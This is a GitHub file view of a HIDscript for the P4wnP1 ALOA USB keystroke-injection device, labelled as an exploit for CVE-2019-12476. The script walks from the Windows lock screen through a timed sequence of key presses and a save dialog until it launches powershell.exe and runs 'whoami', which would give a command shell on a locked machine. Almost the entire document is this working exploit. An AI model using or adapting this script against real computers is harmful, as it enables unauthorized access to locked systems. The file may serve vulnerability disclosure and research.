-
Notifications
You must be signed in to change notification settings - Fork 14
/
CVE-2019-12476-HID.js
55 lines (53 loc) · 1.13 KB
/
CVE-2019-12476-HID.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
//This HIDscript is to be used with https://github.com/mame82/P4wnP1_aloa
layout('us'); // US keyboard layout
typingSpeed(500,150); // Wait 100ms between key strokes + an additional random value between 0ms and 150ms (natural)
//waitLEDRepeat(NUM); // Wait till NUM LED of target changes frequently multiple times (doesn't work on OSX)
press("CTRL ALT DEL");
delay(10000);
press("ENTER");
delay(5000);
type("\t\t\t\t\t\t\t\t\t");
delay(1000);
press("ENTER");
delay(1000);
type("\t\t");
delay(1000);
press("SPACE");
delay(1000);
press("ESC");
delay(1000);
type("\t\t\t\t\t\t\t");
delay(1000);
press("SPACE");
delay(1000);
press("ALT TAB");
delay(1000);
type("\t\t\t\t\t");
delay(1000);
press("ENTER");
delay(1000);
type("\t\t");
delay(1000);
press("ENTER");
delay(1000);
press("ESC");
delay(1000);
press("ALT TAB");
delay(1000);
type("\t");
delay(5000);
press("LEFT_SHIFT ENTER");
delay(2000);
press("CTRL S");
delay(2000);
press("ENTER");
delay(2000);
type("\t\t\t\t\t\t");
delay(1000);
press("ENTER");
delay(1000);
type("c:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe");
delay(1000);
press("ENTER");
delay(1000);
type("whoami\n");